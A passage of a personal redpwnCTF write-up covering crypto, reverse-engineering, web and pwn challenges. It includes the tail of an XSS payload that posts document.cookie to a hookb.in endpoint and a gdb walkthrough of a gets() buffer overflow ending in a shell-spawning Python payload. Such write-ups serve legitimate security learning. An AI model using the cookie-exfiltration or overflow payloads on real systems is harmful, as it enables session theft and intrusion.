language-javascript"> - </span> - <span class="token script language-javascript"> - post - </span> - <span class="token script language-javascript punctuation"> - . - </span> - <span class="token script language-javascript method function property-access"> - open - </span> - <span class="token script language-javascript punctuation"> - ( - </span> - <span class="token script language-javascript string"> - "post" - </span> - <span class="token script language-javascript punctuation"> - , - </span> - <span class="token script language-javascript"> - </span> - <span class="token script language-javascript string"> - "https://hookb.in/<endpoint url>" - </span> - <span class="token script language-javascript punctuation"> - ) - </span> - <span class="token script language-javascript punctuation"> - ; - </span> - <span class="token script language-javascript"> - </span> - <span class="token script language-javascript"> - post - </span> - <span class="token script language-javascript punctuation"> - . - </span> - <span class="token script language-javascript method function property-access"> - send - </span> - <span class="token script language-javascript punctuation"> - ( - </span> - <span class="token script language-javascript dom variable"> - document - </span> - <span class="token script language-javascript punctuation"> - . - </span> - <span class="token script language-javascript property-access"> - cookie - </span> - <span class="token script language-javascript punctuation"> - ) - </span> - <span class="token script language-javascript punctuation"> - ; - </span> - <span class="token script language-javascript"> - </span> - <span class="token script language-javascript"> - </span> - <span class="token tag punctuation"> - </ - </span> - <span class="token tag"> - script - </span> - <span class="token tag punctuation"> - > - </span> - </code> - </div> - </pre> - <h3 id="cryptoscissor"> - crypto/scissor - </h3> - <p> - I wasn't planning on including this one, but it makes use of the excellent - <a href="https://gchq.github.io/CyberChef/"> - CyberChef - </a> - tool. The flag is given in the -challenge description, and is encrypted using a ceasar/rot13 cipher. A simple -python implementation of this cypher is included with the challenge, but I just -put it into CyberChef and started trying different offsets. - </p> - <h3 id="revwstrings"> - rev/wstrings - </h3> - <blockquote> - <p> - Some strings are wider than normal... - </p> - </blockquote> - <p> - This challenge has a binary that uses a simple - <code> - strcmp - </code> - to check the flag. When -running the program, the following output is visible: - </p> - <pre> - <div class="prismjs"> - <code class="language-sh" style="white-space:pre"> - <span class=""> - # ./wstrings - </span> - Welcome to flag checker 1.0. - <!-- --> - Give me a flag> - </code> - </div> - </pre> - <p> - My first stategy was running the - <code> - strings - </code> - utility on the - <code> - wstrings - </code> - binary, -but I didn't find the flag. What was interesting to me though was that I also -couldn't find the prompt text... This immediately made me check for other -string encodings. - </p> - <p> - Running the - <code> - strings - </code> - utility with the - <code> - -eL - </code> - flag tells - <code> - strings - </code> - to look for -32-bit little-endian encoded strings, and lo and behold the flag shows up! - </p> - <p> - This is because ascii strings are less 'wide' than 32-bit strings: - </p> - <pre> - <code> - --- ascii --- - -hex -> 0x68 0x65 0x6c 0x6c 0x6f -str -> h e l l o - </code> - </pre> - <p> - Notice how each character is represented by a single byte each (8 bits) in -ascii, as opposed to 32-bit characters in 32-bit land. - </p> - <pre> - <code> - --- 32-bit land --- - -hex -> 0x00000068 0x00000065 0x0000006c 0x0000006c 0x0000006f -str -> h e l l o - </code> - </pre> - <p> - I think 32-bit strings also have practical use for things like non-english -texts such as hebrew, chinese or japanese. Those characters take up more space -anyways, and you would waste less space by not using unicode escape characters. - </p> - <h3 id="websecure"> - web/secure - </h3> - <blockquote> - <p> - Just learned about encryption—now, my website is unhackable! - </p> - </blockquote> - <p> - This challenge is pretty simple if you know some of JS's quirks. Right at the -top of the file is an sqlite3 expression in JS: - </p> - <pre> - <div class="prismjs"> - <code class="language-js" style="white-space:pre"> - <span class="token comment"> - //////// - </span> - <span class=""> - </span> - <span class=""> - db - </span> - <span class="token punctuation"> - . - </span> - <span class="token method function property-access"> - exec - </span> - <span class="token punctuation"> - ( - </span> - <span class="token template-string template-punctuation string"> - ` - </span> - <span class="token template-string string"> - INSERT INTO users (username, password) VALUES ( - </span> - <span class="token template-string string"> - ' - </span> - <span class="token template-string interpolation interpolation-punctuation punctuation"> - ${ - </span> - <span class="token template-string interpolation function"> - btoa - </span> - <span class="token template-string interpolation punctuation"> - ( - </span> - <span class="token template-string interpolation string"> - 'admin' - </span> - <span class="token template-string interpolation punctuation"> - ) - </span> - <span class="token template-string interpolation interpolation-punctuation punctuation"> - } - </span> - <span class="token template-string string"> - ', - </span> - <span class="token template-string string"> - ' - </span> - <span class="token template-string interpolation interpolation-punctuation punctuation"> - ${ - </span> - <span class="token template-string interpolation function"> - btoa - </span> - <span class="token template-string interpolation punctuation"> - ( - </span> - <span class="token template-string interpolation"> - crypto - </span> - <span class="token template-string interpolation punctuation"> - . - </span> - <span class="token template-string interpolation property-access"> - randomUUID - </span> - <span class="token template-string interpolation punctuation"> - ) - </span> - <span class="token template-string interpolation interpolation-punctuation punctuation"> - } - </span> - <span class="token template-string string"> - ' - </span> - <span class="token template-string string"> - ) - </span> - <span class="token template-string template-punctuation string"> - ` - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - </code> - </div> - </pre> - <p> - This section of code immediately jumped out to me because I noticed that - <code> - crypto.randomUUID - </code> - wansn't actually being called. - </p> - <p> - Because the 'random uuid' is being fed into - <code> - btoa() - </code> - it becomes a base64 -encoded string. However, - <code> - btoa() - </code> - also expects a string as input. Because every -object in JS has a - <code> - .toString() - </code> - method, when you pass it into a function -expecting another type, JS will happily convert it for you without warning. - </p> - <p> - This means that the admin's password will always be a base64-encoded version of - <code> - crypto.randomUUID - </code> - 's source code. We can get that base64-encoded source code -by running the following in a NodeJS REPL: - </p> - <pre> - <div class="prismjs"> - <code class="language-js" style="white-space:pre"> - <span class="token comment"> - // import file system and crypto modules - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - var - </span> - <span class=""> - writeFileSync - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token function"> - require - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - 'fs' - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - . - </span> - <span class="token property-access"> - writeFileSync - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - var - </span> - <span class=""> - crypto - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token function"> - require - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - 'crypto' - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token comment"> - // write source to file - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - writeFileSync - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - './randomUUID.js' - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token function"> - btoa - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - crypto - </span> - <span class="token punctuation"> - . - </span> - <span class="token property-access"> - randomUUID - </span> - <span class="token punctuation"> - . - </span> - <span class="token method function property-access"> - toString - </span> - <span class="token punctuation"> - ( - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token string"> - 'utf-8' - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - </code> - </div> - </pre> - <p> - I made a simple shell script that calls cURL with the base64-encoded -parameters, and decodes the url-encoded flag afterwards: - </p> - <pre> - <div class="prismjs"> - <code class="language-sh" style="white-space:pre"> - <span class=""> - #!/bin/sh - </span> - <!-- --> - # https://stackoverflow.com/questions/6250698/how-to-decode-url-encoded-string-in-shell - <!-- --> - function urldecode() { : "${*//+/ }"; echo -e "${_//%/\\x}"; } - <!-- --> - <!-- --> - urldecode $(curl -sX POST \ - <!-- --> - -d "username=$(printf 'admin' | base64)" \ - <!-- --> - -d "password=$(cat ./randomUUID.js)" \ - <!-- --> - https://secure.mc.ax/login) - </code> - </div> - </pre> - <h3 id="cryptobaby"> - crypto/baby - </h3> - <blockquote> - <p> - I want to do an RSA! - </p> - </blockquote> - <p> - This challenge is breaking RSA. It only works because the - <code> - n - </code> - parameter is -really small. - </p> - <p> - Googling for 'rsa decrypt n e c' yields - <a href="https://stackoverflow.com/questions/49878381/rsa-decryption-using-only-n-e-and-c"> - this - </a> - stackoverflow result, which links to - <a href="https://www.dcode.fr/rsa-cipher"> - dcode.fr - </a> - . The only thing left to do is -calculate - <code> - p - </code> - and - <code> - q - </code> - , which can be done using - <a href="https://wolframalpha.com/"> - wolfram -alpha - </a> - . - </p> - <h3 id="pwnbeginner-generic-pwn-number-0"> - pwn/beginner-generic-pwn-number-0 - </h3> - <blockquote> - <p> - rob keeps making me write beginner pwn! i'll show him... - </p> - <p> - <code> - nc mc.ax 31199 - </code> - </p> - </blockquote> - <p> - This was my first interaction with - <code> - gdb - </code> - . It was.. painful. After begging for -help in the redpwnCTF discord server about another waaaay harder challenge, an -organizer named asphyxia pointed me towards - <a href="https://github.com/hugsy/gef"> - gef - </a> - which single-handedly saved my sanity during the binary exploitation -challenges. - </p> - <p> - The first thing I did was use - <a href="https://github.com/radareorg/iaito"> - iaito - </a> - to -look at a dissassembly graph of the binary. Iaito is a graphical frontend to -the radare2 reverse engineering framework, and I didn't feel like learning two -things at the same time, so that's why I used it. While it's very -user-friendly, I didn't look into reverse engineering tools very much, and -didn't realise that iaito is still in development. Let's just say I ran into -some issues with project saving so I took lots of unnecessary repeated steps. - </p> - <p> - After trying to make sense of assembly code after just seeing it for the first -time, I instead decided looking at the source code would be a better idea since -I actually know c. - </p> - <pre> - <div class="prismjs"> - <code class="language-c" style="white-space:pre"> - <span class="token macro property directive-hash"> - # - </span> - <span class="token macro property directive keyword"> - include - </span> - <span class="token macro property"> - </span> - <span class="token macro property string"> - <stdio.h> - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token macro property directive-hash"> - # - </span> - <span class="token macro property directive keyword"> - include - </span> - <span class="token macro property"> - </span> - <span class="token macro property string"> - <string.h> - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token macro property directive-hash"> - # - </span> - <span class="token macro property directive keyword"> - include - </span> - <span class="token macro property"> - </span> - <span class="token macro property string"> - <stdlib.h> - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - const - </span> - <span class=""> - </span> - <span class="token keyword"> - char - </span> - <span class=""> - </span> - <span class="token operator"> - * - </span> - <span class=""> - inspirational_messages - </span> - <span class="token punctuation"> - [ - </span> - <span class="token punctuation"> - ] - </span> - <span class=""> - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token punctuation"> - { - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token string"> - "\"𝘭𝘦𝘵𝘴 𝘣𝘳𝘦𝘢𝘬 𝘵𝘩𝘦 𝘵𝘳𝘢𝘥𝘪𝘵𝘪𝘰𝘯 𝘰𝘧 𝘭𝘢𝘴𝘵 𝘮𝘪𝘯𝘶𝘵𝘦 𝘤𝘩𝘢𝘭𝘭 𝘸𝘳𝘪𝘵𝘪𝘯𝘨\"" - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token string"> - "\"𝘱𝘭𝘦𝘢𝘴𝘦 𝘸𝘳𝘪𝘵𝘦 𝘢 𝘱𝘸𝘯 𝘴𝘰𝘮𝘦𝘵𝘪𝘮𝘦 𝘵𝘩𝘪𝘴 𝘸𝘦𝘦𝘬\"" - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token string"> - "\"𝘮𝘰𝘳𝘦 𝘵𝘩𝘢𝘯 1 𝘸𝘦𝘦𝘬 𝘣𝘦𝘧𝘰𝘳𝘦 𝘵𝘩𝘦 𝘤𝘰𝘮𝘱𝘦𝘵𝘪𝘵𝘪𝘰𝘯\"" - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - } - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - int - </span> - <span class=""> - </span> - <span class="token function"> - main - </span> - <span class="token punctuation"> - ( - </span> - <span class="token keyword"> - void - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - { - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - srand - </span> - <span class="token punctuation"> - ( - </span> - <span class="token function"> - time - </span> - <span class="token punctuation"> - ( - </span> - <span class="token number"> - 0 - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - long - </span> - <span class=""> - inspirational_message_index - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token function"> - rand - </span> - <span class="token punctuation"> - ( - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class="token operator"> - % - </span> - <span class=""> - </span> - <span class="token punctuation"> - ( - </span> - <span class="token keyword"> - sizeof - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - inspirational_messages - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class="token operator"> - / - </span> - <span class=""> - </span> - <span class="token keyword"> - sizeof - </span> - <span class="token punctuation"> - ( - </span> - <span class="token keyword"> - char - </span> - <span class=""> - </span> - <span class="token operator"> - * - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - char - </span> - <span class=""> - heartfelt_message - </span> - <span class="token punctuation"> - [ - </span> - <span class="token number"> - 32 - </span> - <span class="token punctuation"> - ] - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - setbuf - </span> - <span class="token punctuation"> - ( - </span> - <span class="token constant"> - stdout - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token constant"> - NULL - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - setbuf - </span> - <span class="token punctuation"> - ( - </span> - <span class="token constant"> - stdin - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token constant"> - NULL - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - setbuf - </span> - <span class="token punctuation"> - ( - </span> - <span class="token constant"> - stderr - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token constant"> - NULL - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - inspirational_messages - </span> - <span class="token punctuation"> - [ - </span> - <span class=""> - inspirational_message_index - </span> - <span class="token punctuation"> - ] - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "can you write me a heartfelt message to cheer me up? :(" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - gets - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - heartfelt_message - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - if - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - inspirational_message_index - </span> - <span class="token operator"> - == - </span> - <span class=""> - </span> - <span class="token operator"> - - - </span> - <span class="token number"> - 1 - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class="token punctuation"> - { - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - system - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "/bin/sh" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - } - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - } - </span> - </code> - </div> - </pre> - <p> - After looking at this source things became a lot clearer, because the only -input you can actually control is recieved from - <code> - gets(...); - </code> - </p> - <p> - Now comes the hard part: doing it, but in assembly! - </p> - <p> - Some recources you should consume before attempting binary exploitation would -be - <a href="https://www.youtube.com/watch?v=1S0aBV-Waeo"> - computerphile's video on buffer -overflows - </a> - and - <a href="https://cheat.sh/gdb"> - cheat.sh/gdb - </a> - for some basic gdb commands. The rest of -this section assumes you know the basics of both buffer overflows and gdb. - </p> - <p> - First, let's print a dissassembly of the - <code> - int main() - </code> - function: - </p> - <pre> - <code> - (gdb) disas main -Dump of assembler code for function main: - 0x000000000040127c <+134>: call 0x4010a0 <puts@plt> - 0x0000000000401281 <+139>: lea rdi,[rip+0xec8] # 0x402150 - 0x0000000000401288 <+146>: call 0x4010a0 <puts@plt> - 0x000000000040128d <+151>: lea rdi,[rip+0xf1c] # 0x4021b0 - 0x0000000000401294 <+158>: call 0x4010a0 <puts@plt> - 0x0000000000401299 <+163>: lea rax,[rbp-0x30] - 0x000000000040129d <+167>: mov rdi,rax - 0x00000000004012a0 <+170>: call 0x4010f0 <gets@plt> - 0x00000000004012a5 <+175>: cmp QWORD PTR [rbp-0x8],0xffffffffffffffff - 0x00000000004012aa <+180>: jne 0x4012b8 <main+194> - 0x00000000004012ac <+182>: lea rdi,[rip+0xf35] # 0x4021e8 - 0x00000000004012b3 <+189>: call 0x4010c0 <system@plt> - 0x00000000004012b8 <+194>: mov eax,0x0 - 0x00000000004012bd <+199>: leave - 0x00000000004012be <+200>: ret -End of assembler dump. - </code> - </pre> - <p> - This isn't the full output from gdb, but only the last few lines. A few things -should immediately stand out: the 3 - <code> - <puts@plt> - </code> - calls, and right after the -call to - <code> - <gets@plt> - </code> - . These are the assembly equivalent of: - </p> - <pre> - <div class="prismjs"> - <code class="language-c" style="white-space:pre"> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - inspirational_messages - </span> - <span class="token punctuation"> - [ - </span> - <span class=""> - inspirational_message_index - </span> - <span class="token punctuation"> - ] - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "can you write me a heartfelt message to cheer me up? :(" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - gets - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - heartfelt_message - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - </code> - </div> - </pre> - <p> - Since I didn't see any reference to a flag file being read, I assumed that the - <code> - system("/bin/sh") - </code> - call is our main target, so let's see if we can find that -in our assembly code. There's a call to - <code> - <system@plt> - </code> - at - <code> - <main+189> - </code> - , and -there's other weird - <code> - cmp - </code> - , - <code> - jne - </code> - and - <code> - lea - </code> - instructions before. Let's figure -out what those do! - </p> - <p> - After some stackoverflow soul searching, I found out that the - <code> - cmp - </code> - and - <code> - jne - </code> - are assembly instructions for compare, and jump-if-not-equal. They work like -this: - </p> - <pre> - <div class="prismjs"> - <code class="language-asm6502" style="white-space:pre"> - <span class="token comment"> - ; cmp compares what's in the $rbp register to 0xffffffffffffffff - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token comment"> - ; and turns on the ZERO flag if they're equal - </span> - <span class=""> - </span> - <span class=""> - 0x004012a5 <+ - </span> - <span class="token decimalnumber string"> - 0 - </span> - <span class=""> - >: - </span> - <span class="token opcode property"> - cmp - </span> - <span class=""> - QWORD PTR [rbp-0x8],0xffffffffffffffff - </span> - <span class=""> - </span> - <span class="token comment"> - ; jne checks if the ZERO flag is on, - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token comment"> - ; and if it is it jumps (in this case) to 0x4012b8 - </span> - <span class=""> - </span> - <span class=""> - ┌--0x004012aa <+ - </span> - <span class="token decimalnumber string"> - 1 - </span> - <span class=""> - >: jne 0x4012b8 <main+ - </span> - <span class="token decimalnumber string"> - 194 - </span> - <span class=""> - > - </span> - <span class=""> - │ - </span> - <span class="token comment"> - ; we can safely ignore the `lea` instruction as it doesn't impact our pwn - </span> - <span class=""> - </span> - <span class=""> - │ 0x004012ac <+ - </span> - <span class="token decimalnumber string"> - 2 - </span> - <span class=""> - >: lea rdi,[rip+0xf35] # 0x4021e8 - </span> - │ - <span class=""> - │ - </span> - <span class="token comment"> - ; the almighty syscall - </span> - <span class=""> - </span> - <span class=""> - │ 0x004012b3 <+ - </span> - <span class="token decimalnumber string"> - 3 - </span> - <span class=""> - >: call 0x4010c0 <system@plt> - </span> - │ - <span class=""> - │ - </span> - <span class="token comment"> - ; from here on the program exits without calling /bin/sh - </span> - <span class=""> - </span> - <span class=""> - └->0x004012b8 <+ - </span> - <span class="token decimalnumber string"> - 4 - </span> - <span class=""> - >: mov eax,0x0 - </span> - <span class=""> - 0x004012bd <+ - </span> - <span class="token decimalnumber string"> - 5 - </span> - <span class=""> - >: leave - </span> - <span class=""> - 0x004012be <+ - </span> - <span class="token decimalnumber string"> - 6 - </span> - <span class=""> - >: ret - </span> - </code> - </div> - </pre> - <p> - The program checks if there's - <code> - 0xffffffffffffffff - </code> - in memory - <code> - 0x8 - </code> - bytes before -the - <code> - $rbp - </code> - register. The program allocates 32 bytes of memory for our heartfelt -message, but it continues reading even if our heartfelt message is longer than -32 bytes. Let's see if we can overwrite that register >:) - </p> - <p> - Let's set a breakpoint after the - <code> - <gets@plt> - </code> - call in gdb, and run the program -with 40 bytes of - <code> - 0x61 - </code> - ('a') - </p> - <pre> - <code> - (gdb) break *0x00000000004012a5 -Breakpoint 1 at 0x4012a5 - -(gdb) run < <(python3 -c "print('a' * 40)") - </code> - </pre> - <p> - I'm using the - <code> - run - </code> - command with - <code> - < - </code> - and - <code> - <() - </code> - to pipe the output of python -into the program's - <code> - stdin - </code> - . It's unnecessary at this stage because there's an -'a' key on my keyboard, but if we were to send raw bytes, this would make it a -lot easier. - </p> - <p> - I'm also using - <a href="https://github.com/hugsy/gef"> - gef - </a> - so I get access to a command -called - <code> - context - </code> - which prints all sorts of information about registers, the -stack and a small dissassembly window. I won't show it's output here, but it -was an indispensable tool that you should install nonetheless. - </p> - <p> - Let's print the memory at - <code> - [$rbp - 0x8] - </code> - : - </p> - <pre> - <code> - (gdb) x/8gx $rbp - 0x8 -0x7fffffffd758: 0x0000000000000000 0x0000000000000000 -0x7fffffffd768: 0x00007ffff7de4b25 0x00007fffffffd858 -0x7fffffffd778: 0x0000000100000064 0x00000000004011f6 -0x7fffffffd788: 0x0000000000001000 0x00000000004012c0 - </code> - </pre> - <p> - Hmmm, no overwriteage yet. Let's try 56 bytes instead: - </p> - <pre> - <code> - (gdb) run < <(python3 -c "print('a' * 56)") -(gdb) x/8gx $rbp - 0x8 -0x7fffffffd758: 0x6161616161616161 0x6161616161616161 -0x7fffffffd768: 0x00007ffff7de4b00 0x00007fffffffd858 -0x7fffffffd778: 0x0000000100000064 0x00000000004011f6 -0x7fffffffd788: 0x0000000000001000 0x00000000004012c0 -(gdb) x/1gx $rbp - 0x8 -0x7fffffffd758: 0x6161616161616161 - </code> - </pre> - <p> - Jackpot! We've overwritten 16 bytes of the adress that the - <code> - cmp - </code> - instruction -reads. Let's try setting it to - <code> - 0xff - </code> - instead, so we get a shell. Python 3 is -not that great for binary exploitation, so the code for this is a little bit -ugly, but if it works, it works! - </p> - <pre> - <code> - (gdb) run < <(python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)") -(gdb) x/1gx $rbp - 0x8 -0x7fffffffd758: 0xffffffffffffffff - </code> - </pre> - <p> - Now let's let execution continue as normal by using the - <code> - continue - </code> - command: - </p> - <pre> - <code> - (gdb) continue -Continuing. -[Detaching after vfork from child process 22950] -[Inferior 1 (process 22947) exited normally] - </code> - </pre> - <p> - This might seem underwhelming, but our explit works! A child process was -spawned, and as a bonus, we didn't get any segmentation faults! The reason we -don't get an interactive shell is because we used python to pipe input into the -program which makes it non-interactive. - </p> - <p> - At this point I was about 12 hours in of straight gdb hell, and I was very -happy to see this shell. After discovering this, I immediately tried it outside -the debugger and was dissapointed to see that my exploit didn't work. After a -small panick attack I found out this was because of my environment variables. -You can launch an environment-less shell by using the - <code> - env -i sh - </code> - command: - </p> - <pre> - <code> - λ generic → λ git master* → env -i sh -sh-5.1$ python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)" | ./beginner-generic-pwn-number-0 -"𝘭𝘦𝘵𝘴 𝘣𝘳𝘦𝘢𝘬 𝘵𝘩𝘦 𝘵𝘳𝘢𝘥𝘪𝘵𝘪𝘰𝘯 𝘰𝘧 𝘭𝘢𝘴𝘵 𝘮𝘪𝘯𝘶𝘵𝘦 𝘤𝘩𝘢𝘭𝘭 𝘸𝘳𝘪𝘵𝘪𝘯𝘨" -rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self! -can you write me a heartfelt message to cheer me up? :( -sh-5.1$ # another shell :tada: - </code> - </pre> - <p> - Now it was time to actually do the exploit on the remote server. - </p> - <p> - I whipped up the most disgusting and janky python code that I won't go into -detail about, but here's what is does (in short): - </p> - <ol> - <li> - Create a thread to capture data from the server and forward it to - <code> - stdout - </code> - </li> - <li> - Capture user commands using - <code> - input() - </code> - and decide what to do with them on the main thread - </li> - </ol> - <p> - The code for this script can be found - <a href="https://github.com/lonkaars/redpwn/blob/master/challenges/generic/pwn.py"> - here - </a> - , -though be warned, it's - <em> - very - </em> - janky and you're probably better off copying -stuff from stackoverflow. Writing your own tools is more fun though, and might -also be faster than trying to wrestle with existing tools to try to get them to -do exactly what you want them to do. In this case I could've also just used - <a href="https://reverseengineering.stackexchange.com/questions/13928/managing-inputs-for-payload-injection?noredirect=1&lq=1"> - a -siple -command - </a> - . - </p> - <p> - It did help me though and I actually had to copy it for use in the other buffer -overflow challenge that I solved, so I'll probably refactor it someday for use -in other CTFs. - </p> - <h3 id="cryptoround-the-bases"> - crypto/round-the-bases - </h3> - <p> - This crypto challenge uses a text file with some hidden information. If you -open up the file in a text editor, and adjust your window width, you'll -eventually see the repeating pattern line up. This makes it very easy to see -what part of the pattern is actually changing: - </p> - <pre> - <code> - ----------------------xxxx---- -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN - </code> - </pre> - <p> - I wrote a simple python script to parse this into binary data, and it worked on -the first try: - </p> - <pre> - <div class="prismjs"> - <code class="language-py" style="white-space:pre"> - <span class="token comment"> - # read the file into a string - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token builtin"> - file - </span> - <span class=""> - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token builtin"> - open - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "./round-the-bases" - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - content - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token builtin"> - file - </span> - <span class="token punctuation"> - . - </span> - <span class=""> - read - </span> - <span class="token punctuation"> - ( - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token builtin"> - file - </span> - <span class="token punctuation"> - . - </span> - <span class=""> - close - </span> - <span class="token punctuation"> - ( - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token comment"> - # split on every 30th character into a list - </span> - <span class=""> - </span> - <span class=""> - n - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token number"> - 30 - </span> - <span class=""> - </span> - <span class=""> - arr - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token punctuation"> - [ - </span> - <span class=""> - content - </span> - <span class="token punctuation"> - [ - </span> - <span class=""> - i - </span> - <span class="token punctuation"> - : - </span> - <span class=""> - i - </span> - <span class="token operator"> - + - </span> - <span class=""> - n - </span> - <span class="token punctuation"> - ] - </span> - <span class=""> - </span> - <span class="token keyword"> - for - </span> - <span class=""> - i - </span> - <span class="token keyword"> - in - </span> - <span class=""> - </span> - <span class="token builtin"> - range - </span> - <span class="token punctuation"> - ( - </span> - <span class="token number"> - 0 - </span> - <span class="token punctuation"> - , - 